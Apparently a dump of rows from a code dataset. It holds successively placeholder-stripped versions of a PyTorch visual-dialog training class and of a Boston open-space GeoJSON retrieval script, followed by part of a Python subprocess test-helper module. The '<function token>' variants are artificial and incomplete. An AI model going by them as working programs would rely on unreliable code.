self.summary_writer.add_scalar('train/loss',\n batch_loss, global_iteration_step)\n self.summary_writer.add_scalar('train/lr', self.\n optimizer.param_groups[0]['lr'],\n global_iteration_step)\n self.checkpoint_manager.step(epoch)\n self.previous_model_path = os.path.join(self.checkpoint_manager\n .ckpt_dirpath, 'checkpoint_%d.pth' % epoch)\n self._logger.info(self.previous_model_path)\n if (epoch < self.hparams.num_epochs - 1 and self.hparams.\n dataset_version == '0.9'):\n continue\n torch.cuda.empty_cache()\n evaluation.run_evaluate(self.previous_model_path,\n global_iteration_step, self.summary_writer, os.path.join(\n self.checkpoint_manager.ckpt_dirpath, 'ranks_%d_valid.json' %\n epoch))\n torch.cuda.empty_cache()\n return self.previous_model_path\n",
"<import token>\n<assignment token>\n<import token>\n\n\nclass MVAN(object):\n <function token>\n <function token>\n <function token>\n\n def _setup_training(self):\n if self.hparams.save_dirpath == 'checkpoints/':\n self.save_dirpath = os.path.join(self.hparams.root_dir, self.\n hparams.save_dirpath)\n self.summary_writer = SummaryWriter(self.save_dirpath)\n self.checkpoint_manager = CheckpointManager(self.model, self.\n optimizer, self.save_dirpath, hparams=self.hparams)\n if self.hparams.load_pthpath == '':\n self.start_epoch = 1\n else:\n self.start_epoch = int(self.hparams.load_pthpath.split('_')[-1]\n [:-4])\n self.start_epoch += 1\n model_state_dict, optimizer_state_dict = load_checkpoint(self.\n hparams.load_pthpath)\n if isinstance(self.model, nn.DataParallel):\n self.model.module.load_state_dict(model_state_dict)\n else:\n self.model.load_state_dict(model_state_dict)\n self.optimizer.load_state_dict(optimizer_state_dict)\n self.previous_model_path = self.hparams.load_pthpath\n print('Loaded model from {}'.format(self.hparams.load_pthpath))\n print(\n \"\"\"\n # -------------------------------------------------------------------------\n # Setup Training Finished\n # -------------------------------------------------------------------------\n \"\"\"\n )\n\n def _loss_fn(self, epoch, batch, output):\n target = batch['ans_ind'] if 'disc' in self.hparams.decoder else batch[\n 'ans_out']\n batch_loss = self.criterion(output.view(-1, output.size(-1)),\n target.view(-1).to(self.device))\n return batch_loss\n\n def train(self):\n self._build_dataloader()\n self._build_model()\n self._setup_training()\n evaluation = Evaluation(self.hparams, model=self.model, split='val')\n global_iteration_step = (self.start_epoch - 1) * self.iterations\n running_loss = 0.0\n train_begin = datetime.utcnow()\n print(\n \"\"\"\n # -------------------------------------------------------------------------\n # Model Train Starts (NEW)\n # -------------------------------------------------------------------------\n \"\"\"\n )\n for epoch in range(self.start_epoch, self.hparams.num_epochs):\n self.model.train()\n combined_dataloader = itertools.chain(self.train_dataloader)\n print(f'\\nTraining for epoch {epoch}:', 'Total Iter:', self.\n iterations)\n tqdm_batch_iterator = tqdm(combined_dataloader)\n accumulate_batch = 0\n for i, batch in enumerate(tqdm_batch_iterator):\n buffer_batch = batch.copy()\n for key in batch:\n buffer_batch[key] = buffer_batch[key].to(self.device)\n output = self.model(buffer_batch)\n batch_loss = self._loss_fn(epoch, batch, output)\n batch_loss.backward()\n accumulate_batch += batch['img_ids'].shape[0]\n if (self.hparams.virtual_batch_size == accumulate_batch or \n i == len(self.train_dataset) // self.hparams.\n train_batch_size):\n self.optimizer.step()\n if running_loss > 0.0:\n running_loss = (0.95 * running_loss + 0.05 *\n batch_loss.item())\n else:\n running_loss = batch_loss.item()\n self.optimizer.zero_grad()\n accumulate_batch = 0\n self.scheduler.step(global_iteration_step)\n global_iteration_step += 1\n description = (\n '[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]'\n .format(datetime.utcnow() - train_begin, epoch,\n global_iteration_step, running_loss, self.optimizer\n .param_groups[0]['lr']))\n tqdm_batch_iterator.set_description(description)\n if (global_iteration_step % self.hparams.\n tensorboard_step == 0):\n description = (\n '[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]'\n .format(datetime.utcnow() - train_begin, epoch,\n global_iteration_step, running_loss, self.\n optimizer.param_groups[0]['lr']))\n self._logger.info(description)\n self.summary_writer.add_scalar('train/loss',\n batch_loss, global_iteration_step)\n self.summary_writer.add_scalar('train/lr', self.\n optimizer.param_groups[0]['lr'],\n global_iteration_step)\n self.checkpoint_manager.step(epoch)\n self.previous_model_path = os.path.join(self.checkpoint_manager\n .ckpt_dirpath, 'checkpoint_%d.pth' % epoch)\n self._logger.info(self.previous_model_path)\n if (epoch < self.hparams.num_epochs - 1 and self.hparams.\n dataset_version == '0.9'):\n continue\n torch.cuda.empty_cache()\n evaluation.run_evaluate(self.previous_model_path,\n global_iteration_step, self.summary_writer, os.path.join(\n self.checkpoint_manager.ckpt_dirpath, 'ranks_%d_valid.json' %\n epoch))\n torch.cuda.empty_cache()\n return self.previous_model_path\n",
"<import token>\n<assignment token>\n<import token>\n\n\nclass MVAN(object):\n <function token>\n <function token>\n <function token>\n <function token>\n\n def _loss_fn(self, epoch, batch, output):\n target = batch['ans_ind'] if 'disc' in self.hparams.decoder else batch[\n 'ans_out']\n batch_loss = self.criterion(output.view(-1, output.size(-1)),\n target.view(-1).to(self.device))\n return batch_loss\n\n def train(self):\n self._build_dataloader()\n self._build_model()\n self._setup_training()\n evaluation = Evaluation(self.hparams, model=self.model, split='val')\n global_iteration_step = (self.start_epoch - 1) * self.iterations\n running_loss = 0.0\n train_begin = datetime.utcnow()\n print(\n \"\"\"\n # -------------------------------------------------------------------------\n # Model Train Starts (NEW)\n # -------------------------------------------------------------------------\n \"\"\"\n )\n for epoch in range(self.start_epoch, self.hparams.num_epochs):\n self.model.train()\n combined_dataloader = itertools.chain(self.train_dataloader)\n print(f'\\nTraining for epoch {epoch}:', 'Total Iter:', self.\n iterations)\n tqdm_batch_iterator = tqdm(combined_dataloader)\n accumulate_batch = 0\n for i, batch in enumerate(tqdm_batch_iterator):\n buffer_batch = batch.copy()\n for key in batch:\n buffer_batch[key] = buffer_batch[key].to(self.device)\n output = self.model(buffer_batch)\n batch_loss = self._loss_fn(epoch, batch, output)\n batch_loss.backward()\n accumulate_batch += batch['img_ids'].shape[0]\n if (self.hparams.virtual_batch_size == accumulate_batch or \n i == len(self.train_dataset) // self.hparams.\n train_batch_size):\n self.optimizer.step()\n if running_loss > 0.0:\n running_loss = (0.95 * running_loss + 0.05 *\n batch_loss.item())\n else:\n running_loss = batch_loss.item()\n self.optimizer.zero_grad()\n accumulate_batch = 0\n self.scheduler.step(global_iteration_step)\n global_iteration_step += 1\n description = (\n '[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]'\n .format(datetime.utcnow() - train_begin, epoch,\n global_iteration_step, running_loss, self.optimizer\n .param_groups[0]['lr']))\n tqdm_batch_iterator.set_description(description)\n if (global_iteration_step % self.hparams.\n tensorboard_step == 0):\n description = (\n '[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]'\n .format(datetime.utcnow() - train_begin, epoch,\n global_iteration_step, running_loss, self.\n optimizer.param_groups[0]['lr']))\n self._logger.info(description)\n self.summary_writer.add_scalar('train/loss',\n batch_loss, global_iteration_step)\n self.summary_writer.add_scalar('train/lr', self.\n optimizer.param_groups[0]['lr'],\n global_iteration_step)\n self.checkpoint_manager.step(epoch)\n self.previous_model_path = os.path.join(self.checkpoint_manager\n .ckpt_dirpath, 'checkpoint_%d.pth' % epoch)\n self._logger.info(self.previous_model_path)\n if (epoch < self.hparams.num_epochs - 1 and self.hparams.\n dataset_version == '0.9'):\n continue\n torch.cuda.empty_cache()\n evaluation.run_evaluate(self.previous_model_path,\n global_iteration_step, self.summary_writer, os.path.join(\n self.checkpoint_manager.ckpt_dirpath, 'ranks_%d_valid.json' %\n epoch))\n torch.cuda.empty_cache()\n return self.previous_model_path\n",
"<import token>\n<assignment token>\n<import token>\n\n\nclass MVAN(object):\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def train(self):\n self._build_dataloader()\n self._build_model()\n self._setup_training()\n evaluation = Evaluation(self.hparams, model=self.model, split='val')\n global_iteration_step = (self.start_epoch - 1) * self.iterations\n running_loss = 0.0\n train_begin = datetime.utcnow()\n print(\n \"\"\"\n # -------------------------------------------------------------------------\n # Model Train Starts (NEW)\n # -------------------------------------------------------------------------\n \"\"\"\n )\n for epoch in range(self.start_epoch, self.hparams.num_epochs):\n self.model.train()\n combined_dataloader = itertools.chain(self.train_dataloader)\n print(f'\\nTraining for epoch {epoch}:', 'Total Iter:', self.\n iterations)\n tqdm_batch_iterator = tqdm(combined_dataloader)\n accumulate_batch = 0\n for i, batch in enumerate(tqdm_batch_iterator):\n buffer_batch = batch.copy()\n for key in batch:\n buffer_batch[key] = buffer_batch[key].to(self.device)\n output = self.model(buffer_batch)\n batch_loss = self._loss_fn(epoch, batch, output)\n batch_loss.backward()\n accumulate_batch += batch['img_ids'].shape[0]\n if (self.hparams.virtual_batch_size == accumulate_batch or \n i == len(self.train_dataset) // self.hparams.\n train_batch_size):\n self.optimizer.step()\n if running_loss > 0.0:\n running_loss = (0.95 * running_loss + 0.05 *\n batch_loss.item())\n else:\n running_loss = batch_loss.item()\n self.optimizer.zero_grad()\n accumulate_batch = 0\n self.scheduler.step(global_iteration_step)\n global_iteration_step += 1\n description = (\n '[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]'\n .format(datetime.utcnow() - train_begin, epoch,\n global_iteration_step, running_loss, self.optimizer\n .param_groups[0]['lr']))\n tqdm_batch_iterator.set_description(description)\n if (global_iteration_step % self.hparams.\n tensorboard_step == 0):\n description = (\n '[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]'\n .format(datetime.utcnow() - train_begin, epoch,\n global_iteration_step, running_loss, self.\n optimizer.param_groups[0]['lr']))\n self._logger.info(description)\n self.summary_writer.add_scalar('train/loss',\n batch_loss, global_iteration_step)\n self.summary_writer.add_scalar('train/lr', self.\n optimizer.param_groups[0]['lr'],\n global_iteration_step)\n self.checkpoint_manager.step(epoch)\n self.previous_model_path = os.path.join(self.checkpoint_manager\n .ckpt_dirpath, 'checkpoint_%d.pth' % epoch)\n self._logger.info(self.previous_model_path)\n if (epoch < self.hparams.num_epochs - 1 and self.hparams.\n dataset_version == '0.9'):\n continue\n torch.cuda.empty_cache()\n evaluation.run_evaluate(self.previous_model_path,\n global_iteration_step, self.summary_writer, os.path.join(\n self.checkpoint_manager.ckpt_dirpath, 'ranks_%d_valid.json' %\n epoch))\n torch.cuda.empty_cache()\n return self.previous_model_path\n",
"<import token>\n<assignment token>\n<import token>\n\n\nclass MVAN(object):\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n",
"<import token>\n<assignment token>\n<import token>\n<class token>\n"
] | false |
9,914 |
2c82dd33180a7442607e5cbedf8846bd72b37150
|
import urllib.request
import json
import dml, prov.model
import datetime, uuid
import geojson
# import csv
"""
Skelton file provided by [email protected]
Heavily modified by [email protected]
City of Boston Open Spaces (Like parks, etc)
Development notes:
"""
class retrieve_open_space(dml.Algorithm):
contributor = 'bmroach'
reads = []
writes = ['bmroach.open_space']
@staticmethod
def execute(trial = False, log=False):
'''Retrieves open spaces in Boston as geoJSON'''
startTime = datetime.datetime.now()
# Set up the database connection.
client = dml.pymongo.MongoClient()
repo = client.repo
repo.authenticate('bmroach', 'bmroach')
# Do retrieving of data
repo.dropCollection("open_space")
repo.createCollection("open_space")
url = 'http://bostonopendata-boston.opendata.arcgis.com/datasets/2868d370c55d4d458d4ae2224ef8cddd_7.geojson'
response = urllib.request.urlopen(url).read().decode("utf-8")
gj = geojson.loads(response)
geoDict = dict(gj)
geoList = geoDict['features']
repo['bmroach.open_space'].insert_many( geoList )
repo['bmroach.open_space'].metadata({'complete':True})
repo.logout()
endTime = datetime.datetime.now()
return {"start":startTime, "end":endTime}
@staticmethod
def provenance(doc = prov.model.ProvDocument(), startTime = None, endTime = None):
'''
Create the provenance document describing everything happening
in this script. Each run of the script will generate a new
document describing that invocation event.
'''
client = dml.pymongo.MongoClient()
repo = client.repo
repo.authenticate('bmroach', 'bmroach')
doc.add_namespace('alg', 'http://datamechanics.io/algorithm/') # The scripts are in <folder>#<filename> format.
doc.add_namespace('dat', 'http://datamechanics.io/data/') # The data sets are in <user>#<collection> format.
doc.add_namespace('ont', 'http://datamechanics.io/ontology#') # 'Extension', 'DataResource', 'DataSet', 'Retrieval', 'Query', or 'Computation'.
doc.add_namespace('log', 'http://datamechanics.io/log/') # The event log.
doc.add_namespace('ops', 'http://bostonopendata-boston.opendata.arcgis.com/datasets/')
this_script = doc.agent('alg:bmroach#open_space', {prov.model.PROV_TYPE:prov.model.PROV['SoftwareAgent'], 'ont:Extension':'py'})
resource = doc.entity('ops:2868d370c55d4d458d4ae2224ef8cddd_7', {'prov:label':'311, Service Requests', prov.model.PROV_TYPE:'ont:DataResource', 'ont:Extension':'geojson'})
get_open_space = doc.activity('log:uuid'+str(uuid.uuid4()), startTime, endTime)
doc.wasAssociatedWith(get_open_space, this_script)
doc.usage(get_open_space,resource, startTime, None,
{prov.model.PROV_TYPE:'ont:Retrieval',
'ont:Query':''
}
)
open_space = doc.entity('dat:bmroach#open_space', {prov.model.PROV_LABEL:'open_space', prov.model.PROV_TYPE:'ont:DataSet'})
doc.wasAttributedTo(open_space, this_script)
doc.wasGeneratedBy(open_space, get_open_space, endTime)
doc.wasDerivedFrom(open_space, resource, get_open_space, get_open_space, get_open_space)
repo.logout()
return doc
# retrieve_open_space.execute()
# doc = retrieve_open_space.provenance()
# print(doc.get_provn())
# print(json.dumps(json.loads(doc.serialize()), indent=4))
## eof
|
[
"import urllib.request\nimport json\nimport dml, prov.model\nimport datetime, uuid\nimport geojson\n# import csv\n\n\"\"\"\nSkelton file provided by [email protected]\nHeavily modified by [email protected]\n\nCity of Boston Open Spaces (Like parks, etc)\n\nDevelopment notes:\n\n\n\"\"\"\n\nclass retrieve_open_space(dml.Algorithm):\n contributor = 'bmroach'\n reads = []\n writes = ['bmroach.open_space']\n\n @staticmethod\n def execute(trial = False, log=False):\n '''Retrieves open spaces in Boston as geoJSON'''\n startTime = datetime.datetime.now()\n\n # Set up the database connection.\n client = dml.pymongo.MongoClient()\n repo = client.repo\n repo.authenticate('bmroach', 'bmroach')\n \n # Do retrieving of data\n repo.dropCollection(\"open_space\")\n repo.createCollection(\"open_space\") \n \n url = 'http://bostonopendata-boston.opendata.arcgis.com/datasets/2868d370c55d4d458d4ae2224ef8cddd_7.geojson'\n response = urllib.request.urlopen(url).read().decode(\"utf-8\") \n gj = geojson.loads(response)\n geoDict = dict(gj)\n geoList = geoDict['features']\n repo['bmroach.open_space'].insert_many( geoList )\n repo['bmroach.open_space'].metadata({'complete':True}) \n repo.logout()\n endTime = datetime.datetime.now()\n return {\"start\":startTime, \"end\":endTime}\n \n @staticmethod\n def provenance(doc = prov.model.ProvDocument(), startTime = None, endTime = None):\n '''\n Create the provenance document describing everything happening\n in this script. Each run of the script will generate a new\n document describing that invocation event.\n '''\n client = dml.pymongo.MongoClient()\n repo = client.repo\n repo.authenticate('bmroach', 'bmroach')\n doc.add_namespace('alg', 'http://datamechanics.io/algorithm/') # The scripts are in <folder>#<filename> format.\n doc.add_namespace('dat', 'http://datamechanics.io/data/') # The data sets are in <user>#<collection> format.\n doc.add_namespace('ont', 'http://datamechanics.io/ontology#') # 'Extension', 'DataResource', 'DataSet', 'Retrieval', 'Query', or 'Computation'.\n doc.add_namespace('log', 'http://datamechanics.io/log/') # The event log. \n doc.add_namespace('ops', 'http://bostonopendata-boston.opendata.arcgis.com/datasets/')\n\n this_script = doc.agent('alg:bmroach#open_space', {prov.model.PROV_TYPE:prov.model.PROV['SoftwareAgent'], 'ont:Extension':'py'})\n \n resource = doc.entity('ops:2868d370c55d4d458d4ae2224ef8cddd_7', {'prov:label':'311, Service Requests', prov.model.PROV_TYPE:'ont:DataResource', 'ont:Extension':'geojson'})\n \n get_open_space = doc.activity('log:uuid'+str(uuid.uuid4()), startTime, endTime)\n \n doc.wasAssociatedWith(get_open_space, this_script)\n \n doc.usage(get_open_space,resource, startTime, None,\n {prov.model.PROV_TYPE:'ont:Retrieval',\n 'ont:Query':'' \n }\n )\n \n \n\n open_space = doc.entity('dat:bmroach#open_space', {prov.model.PROV_LABEL:'open_space', prov.model.PROV_TYPE:'ont:DataSet'})\n doc.wasAttributedTo(open_space, this_script)\n doc.wasGeneratedBy(open_space, get_open_space, endTime)\n \n doc.wasDerivedFrom(open_space, resource, get_open_space, get_open_space, get_open_space)\n \n repo.logout() \n return doc\n\n\n\n\n\n\n# retrieve_open_space.execute()\n# doc = retrieve_open_space.provenance()\n# print(doc.get_provn())\n# print(json.dumps(json.loads(doc.serialize()), indent=4))\n\n## eof\n",
"import urllib.request\nimport json\nimport dml, prov.model\nimport datetime, uuid\nimport geojson\n<docstring token>\n\n\nclass retrieve_open_space(dml.Algorithm):\n contributor = 'bmroach'\n reads = []\n writes = ['bmroach.open_space']\n\n @staticmethod\n def execute(trial=False, log=False):\n \"\"\"Retrieves open spaces in Boston as geoJSON\"\"\"\n startTime = datetime.datetime.now()\n client = dml.pymongo.MongoClient()\n repo = client.repo\n repo.authenticate('bmroach', 'bmroach')\n repo.dropCollection('open_space')\n repo.createCollection('open_space')\n url = (\n 'http://bostonopendata-boston.opendata.arcgis.com/datasets/2868d370c55d4d458d4ae2224ef8cddd_7.geojson'\n )\n response = urllib.request.urlopen(url).read().decode('utf-8')\n gj = geojson.loads(response)\n geoDict = dict(gj)\n geoList = geoDict['features']\n repo['bmroach.open_space'].insert_many(geoList)\n repo['bmroach.open_space'].metadata({'complete': True})\n repo.logout()\n endTime = datetime.datetime.now()\n return {'start': startTime, 'end': endTime}\n\n @staticmethod\n def provenance(doc=prov.model.ProvDocument(), startTime=None, endTime=None\n ):\n \"\"\"\n Create the provenance document describing everything happening\n in this script. Each run of the script will generate a new\n document describing that invocation event.\n \"\"\"\n client = dml.pymongo.MongoClient()\n repo = client.repo\n repo.authenticate('bmroach', 'bmroach')\n doc.add_namespace('alg', 'http://datamechanics.io/algorithm/')\n doc.add_namespace('dat', 'http://datamechanics.io/data/')\n doc.add_namespace('ont', 'http://datamechanics.io/ontology#')\n doc.add_namespace('log', 'http://datamechanics.io/log/')\n doc.add_namespace('ops',\n 'http://bostonopendata-boston.opendata.arcgis.com/datasets/')\n this_script = doc.agent('alg:bmroach#open_space', {prov.model.\n PROV_TYPE: prov.model.PROV['SoftwareAgent'], 'ont:Extension': 'py'}\n )\n resource = doc.entity('ops:2868d370c55d4d458d4ae2224ef8cddd_7', {\n 'prov:label': '311, Service Requests', prov.model.PROV_TYPE:\n 'ont:DataResource', 'ont:Extension': 'geojson'})\n get_open_space = doc.activity('log:uuid' + str(uuid.uuid4()),\n startTime, endTime)\n doc.wasAssociatedWith(get_open_space, this_script)\n doc.usage(get_open_space, resource, startTime, None, {prov.model.\n PROV_TYPE: 'ont:Retrieval', 'ont:Query': ''})\n open_space = doc.entity('dat:bmroach#open_space', {prov.model.\n PROV_LABEL: 'open_space', prov.model.PROV_TYPE: 'ont:DataSet'})\n doc.wasAttributedTo(open_space, this_script)\n doc.wasGeneratedBy(open_space, get_open_space, endTime)\n doc.wasDerivedFrom(open_space, resource, get_open_space,\n get_open_space, get_open_space)\n repo.logout()\n return doc\n",
"<import token>\n<docstring token>\n\n\nclass retrieve_open_space(dml.Algorithm):\n contributor = 'bmroach'\n reads = []\n writes = ['bmroach.open_space']\n\n @staticmethod\n def execute(trial=False, log=False):\n \"\"\"Retrieves open spaces in Boston as geoJSON\"\"\"\n startTime = datetime.datetime.now()\n client = dml.pymongo.MongoClient()\n repo = client.repo\n repo.authenticate('bmroach', 'bmroach')\n repo.dropCollection('open_space')\n repo.createCollection('open_space')\n url = (\n 'http://bostonopendata-boston.opendata.arcgis.com/datasets/2868d370c55d4d458d4ae2224ef8cddd_7.geojson'\n )\n response = urllib.request.urlopen(url).read().decode('utf-8')\n gj = geojson.loads(response)\n geoDict = dict(gj)\n geoList = geoDict['features']\n repo['bmroach.open_space'].insert_many(geoList)\n repo['bmroach.open_space'].metadata({'complete': True})\n repo.logout()\n endTime = datetime.datetime.now()\n return {'start': startTime, 'end': endTime}\n\n @staticmethod\n def provenance(doc=prov.model.ProvDocument(), startTime=None, endTime=None\n ):\n \"\"\"\n Create the provenance document describing everything happening\n in this script. Each run of the script will generate a new\n document describing that invocation event.\n \"\"\"\n client = dml.pymongo.MongoClient()\n repo = client.repo\n repo.authenticate('bmroach', 'bmroach')\n doc.add_namespace('alg', 'http://datamechanics.io/algorithm/')\n doc.add_namespace('dat', 'http://datamechanics.io/data/')\n doc.add_namespace('ont', 'http://datamechanics.io/ontology#')\n doc.add_namespace('log', 'http://datamechanics.io/log/')\n doc.add_namespace('ops',\n 'http://bostonopendata-boston.opendata.arcgis.com/datasets/')\n this_script = doc.agent('alg:bmroach#open_space', {prov.model.\n PROV_TYPE: prov.model.PROV['SoftwareAgent'], 'ont:Extension': 'py'}\n )\n resource = doc.entity('ops:2868d370c55d4d458d4ae2224ef8cddd_7', {\n 'prov:label': '311, Service Requests', prov.model.PROV_TYPE:\n 'ont:DataResource', 'ont:Extension': 'geojson'})\n get_open_space = doc.activity('log:uuid' + str(uuid.uuid4()),\n startTime, endTime)\n doc.wasAssociatedWith(get_open_space, this_script)\n doc.usage(get_open_space, resource, startTime, None, {prov.model.\n PROV_TYPE: 'ont:Retrieval', 'ont:Query': ''})\n open_space = doc.entity('dat:bmroach#open_space', {prov.model.\n PROV_LABEL: 'open_space', prov.model.PROV_TYPE: 'ont:DataSet'})\n doc.wasAttributedTo(open_space, this_script)\n doc.wasGeneratedBy(open_space, get_open_space, endTime)\n doc.wasDerivedFrom(open_space, resource, get_open_space,\n get_open_space, get_open_space)\n repo.logout()\n return doc\n",
"<import token>\n<docstring token>\n\n\nclass retrieve_open_space(dml.Algorithm):\n <assignment token>\n <assignment token>\n <assignment token>\n\n @staticmethod\n def execute(trial=False, log=False):\n \"\"\"Retrieves open spaces in Boston as geoJSON\"\"\"\n startTime = datetime.datetime.now()\n client = dml.pymongo.MongoClient()\n repo = client.repo\n repo.authenticate('bmroach', 'bmroach')\n repo.dropCollection('open_space')\n repo.createCollection('open_space')\n url = (\n 'http://bostonopendata-boston.opendata.arcgis.com/datasets/2868d370c55d4d458d4ae2224ef8cddd_7.geojson'\n )\n response = urllib.request.urlopen(url).read().decode('utf-8')\n gj = geojson.loads(response)\n geoDict = dict(gj)\n geoList = geoDict['features']\n repo['bmroach.open_space'].insert_many(geoList)\n repo['bmroach.open_space'].metadata({'complete': True})\n repo.logout()\n endTime = datetime.datetime.now()\n return {'start': startTime, 'end': endTime}\n\n @staticmethod\n def provenance(doc=prov.model.ProvDocument(), startTime=None, endTime=None\n ):\n \"\"\"\n Create the provenance document describing everything happening\n in this script. Each run of the script will generate a new\n document describing that invocation event.\n \"\"\"\n client = dml.pymongo.MongoClient()\n repo = client.repo\n repo.authenticate('bmroach', 'bmroach')\n doc.add_namespace('alg', 'http://datamechanics.io/algorithm/')\n doc.add_namespace('dat', 'http://datamechanics.io/data/')\n doc.add_namespace('ont', 'http://datamechanics.io/ontology#')\n doc.add_namespace('log', 'http://datamechanics.io/log/')\n doc.add_namespace('ops',\n 'http://bostonopendata-boston.opendata.arcgis.com/datasets/')\n this_script = doc.agent('alg:bmroach#open_space', {prov.model.\n PROV_TYPE: prov.model.PROV['SoftwareAgent'], 'ont:Extension': 'py'}\n )\n resource = doc.entity('ops:2868d370c55d4d458d4ae2224ef8cddd_7', {\n 'prov:label': '311, Service Requests', prov.model.PROV_TYPE:\n 'ont:DataResource', 'ont:Extension': 'geojson'})\n get_open_space = doc.activity('log:uuid' + str(uuid.uuid4()),\n startTime, endTime)\n doc.wasAssociatedWith(get_open_space, this_script)\n doc.usage(get_open_space, resource, startTime, None, {prov.model.\n PROV_TYPE: 'ont:Retrieval', 'ont:Query': ''})\n open_space = doc.entity('dat:bmroach#open_space', {prov.model.\n PROV_LABEL: 'open_space', prov.model.PROV_TYPE: 'ont:DataSet'})\n doc.wasAttributedTo(open_space, this_script)\n doc.wasGeneratedBy(open_space, get_open_space, endTime)\n doc.wasDerivedFrom(open_space, resource, get_open_space,\n get_open_space, get_open_space)\n repo.logout()\n return doc\n",
"<import token>\n<docstring token>\n\n\nclass retrieve_open_space(dml.Algorithm):\n <assignment token>\n <assignment token>\n <assignment token>\n <function token>\n\n @staticmethod\n def provenance(doc=prov.model.ProvDocument(), startTime=None, endTime=None\n ):\n \"\"\"\n Create the provenance document describing everything happening\n in this script. Each run of the script will generate a new\n document describing that invocation event.\n \"\"\"\n client = dml.pymongo.MongoClient()\n repo = client.repo\n repo.authenticate('bmroach', 'bmroach')\n doc.add_namespace('alg', 'http://datamechanics.io/algorithm/')\n doc.add_namespace('dat', 'http://datamechanics.io/data/')\n doc.add_namespace('ont', 'http://datamechanics.io/ontology#')\n doc.add_namespace('log', 'http://datamechanics.io/log/')\n doc.add_namespace('ops',\n 'http://bostonopendata-boston.opendata.arcgis.com/datasets/')\n this_script = doc.agent('alg:bmroach#open_space', {prov.model.\n PROV_TYPE: prov.model.PROV['SoftwareAgent'], 'ont:Extension': 'py'}\n )\n resource = doc.entity('ops:2868d370c55d4d458d4ae2224ef8cddd_7', {\n 'prov:label': '311, Service Requests', prov.model.PROV_TYPE:\n 'ont:DataResource', 'ont:Extension': 'geojson'})\n get_open_space = doc.activity('log:uuid' + str(uuid.uuid4()),\n startTime, endTime)\n doc.wasAssociatedWith(get_open_space, this_script)\n doc.usage(get_open_space, resource, startTime, None, {prov.model.\n PROV_TYPE: 'ont:Retrieval', 'ont:Query': ''})\n open_space = doc.entity('dat:bmroach#open_space', {prov.model.\n PROV_LABEL: 'open_space', prov.model.PROV_TYPE: 'ont:DataSet'})\n doc.wasAttributedTo(open_space, this_script)\n doc.wasGeneratedBy(open_space, get_open_space, endTime)\n doc.wasDerivedFrom(open_space, resource, get_open_space,\n get_open_space, get_open_space)\n repo.logout()\n return doc\n",
"<import token>\n<docstring token>\n\n\nclass retrieve_open_space(dml.Algorithm):\n <assignment token>\n <assignment token>\n <assignment token>\n <function token>\n <function token>\n",
"<import token>\n<docstring token>\n<class token>\n"
] | false |
9,915 |
7f220a970d65a91228501f7db59089e6c0604fb5
|
# -*- coding: utf-8 -*-
import os
import sys
import socket
import signal
import functools
import atexit
import tempfile
from subprocess import Popen, PIPE, STDOUT
from threading import Thread
from queue import Queue, Empty
from time import sleep
import json
from .exceptions import CommandError, TimeoutWaitingFor
ON_POSIX = 'posix' in sys.builtin_module_names
# Directory relative to basetest module location
CURRENT_DIR = os.path.dirname(os.path.abspath(__file__))
# Location of binary files (usually the src/ folder)
BIN_PREFIX = os.path.abspath(
os.path.join(CURRENT_DIR, "..", "..", "src")
)
# Default location of test certificates
DEFAULT_CERT_PATH = os.path.abspath(
os.path.join(CURRENT_DIR, "..", "test_certs")
)
# Default location of test extensions
DEFAULT_EXTENSION_PATH = os.path.abspath(
os.path.join(CURRENT_DIR, "..", "test_extensions")
)
# Environment flags to control skipping of shared tests
SHARED_SKIP = os.environ.get("SHARED_SKIP", False)
# Environment flags to control use of PATH or in-tree binaries
SHARED_USE_PATH = os.environ.get("SHARED_USE_PATH", False)
UUID_REGEXP = ("[0-9A-Fa-f]{8}-" + ("[0-9A-Fa-f]{4}-" * 3) + "[0-9A-Fa-f]{12}")
def shared_binary_location(cmd="shared"):
""" ../src/ is used by default.
"""
return os.path.join(BIN_PREFIX, cmd)
return binary_location(cmd, SHARED_USE_PATH)
def binary_location(cmd, USE_PATH=False):
""" ../src/ is used by default.
"""
return os.path.join(BIN_PREFIX, cmd)
def wait_condition(cond, timeout=1, sleeptime=.01):
"""Wait for condition to return anything other than None
"""
# NOTE Increasing sleeptime can dramatically increase testsuite runtime
# It also reduces CPU load significantly
if timeout is None:
timeout = 1
if timeout < sleeptime:
print("Warning, timeout cannot be smaller than", sleeptime)
timeout = sleeptime
# Max number of attempts until giving up
tries = int(timeout / sleeptime)
for i in range(tries):
val = cond()
if val is not None:
break
sleep(sleeptime)
return val
def wait_process(pid, timeout=None):
"""Wait for process to finish
"""
def process():
try:
os.kill(pid, 0)
except OSError:
# Process is dead
return True
else:
# Process is still ticking
return None
return wait_condition(process, timeout)
def _queue_output(arguments, pidq, outputq):
"""Read/Write output/input of given process.
This function is meant to be executed in a thread as it may block
"""
kwargs = arguments["process"]
input = arguments["input"]
try:
proc = Popen(**kwargs)
except OSError as e:
# pid None is read by the main thread as a crash of the process
pidq.put(None)
outputq.put((
"",
("Unexpected exception caught during execution: '{0}' . ".format(e)),
255)) # false exitcode
return
# Put the PID in the queue for main process to know.
pidq.put(proc.pid)
# Send input and wait for finish
out, err = proc.communicate(input)
out, err = out.decode('utf-8'), err.decode('utf-8')
# Give the output back to the caller
outputq.put((out, err, proc.returncode))
def _retrieve_output(thread, timeout, queue, thread_error):
"""Fetch output from binary subprocess queues
"""
# Try to join the thread on failure abort
thread.join(timeout)
if thread.isAlive():
# Join should have killed the thread. This is unexpected
raise TimeoutWaitingFor(thread_error + ". Unexpected error")
# Thread died so we should have output
try:
# data = (stdout, stderr, exitcode)
data = queue.get(timeout=timeout)
except Empty:
data = TimeoutWaitingFor("streams from program")
return data
def _get_output(arguments, timeout=None):
"""Collect output from the subprocess without blocking the main process if
subprocess hangs.
"""
# NOTE Increase this value if tests fail with None being received as
# stdout/stderr instead of the expected content
output_timeout = 0.1 # seconds
pidq = Queue()
outputq = Queue()
t = Thread(target=_queue_output, args=(arguments, pidq, outputq))
t.daemon = True
t.start()
try:
pid = pidq.get(timeout=timeout)
except Empty:
pid = None
# Process crashed or timed out for some reason
if pid is None:
return _retrieve_output(t, output_timeout, outputq,
"Program to start")
